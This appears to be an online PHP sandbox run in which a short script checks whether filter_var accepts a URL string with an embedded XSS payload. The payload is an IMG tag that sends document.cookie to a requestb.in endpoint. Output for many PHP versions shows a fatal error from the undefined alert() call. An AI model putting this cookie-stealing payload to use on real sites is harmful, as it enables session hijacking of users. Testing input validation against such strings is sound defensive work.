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<?php $link = "http://moncul.com/toto.jpg<IMG SRC='http://requestb.in/sr3wb0sr?cookie='+document.cookie>"; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) alert("ERROR !"); } if (is_null($link)) { $link = 'http://'; alert("NULL !"); } printf("toto"); ?>
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Call to undefined function alert() in /in/LLijW:8 Stack trace: #0 {main} thrown in /in/LLijW on line 8
Process exited with code 255.
Output for 5.4.1 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
Fatal error: Call to undefined function alert() in /in/LLijW on line 8
Process exited with code 255.

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